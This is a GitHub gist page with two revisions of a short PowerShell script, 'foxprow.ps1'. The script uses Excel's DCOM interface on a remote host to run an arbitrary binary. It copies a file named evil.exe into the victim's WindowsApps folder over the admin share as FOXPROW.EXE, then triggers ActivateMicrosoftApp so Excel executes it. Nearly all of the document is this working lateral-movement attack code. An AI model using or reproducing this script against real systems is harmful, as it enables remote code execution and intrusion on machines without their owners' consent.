Skip to content

Instantly share code, notes, and snippets.

@rxwx

rxwx/foxprow.ps1

Last active September 14, 2017 15:06
Show Gist options
  • Save rxwx/518c85863c7eed051361b36a293f15b1 to your computer and use it in GitHub Desktop.
Save rxwx/518c85863c7eed051361b36a293f15b1 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. rxwx revised this gist Sep 11, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion foxprow.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
    # Windows 10 specific, but searches PATH so ..
    copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
    $excel.ActivateMicrosoftApp("5")
  2. rxwx created this gist Sep 11, 2017.
    5 changes: 5 additions & 0 deletions foxprow.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,5 @@
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    # Windows 10 specific, but searches PATH so ..
    copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
    $excel.ActivateMicrosoftApp("5")
    # excel executes your binary :)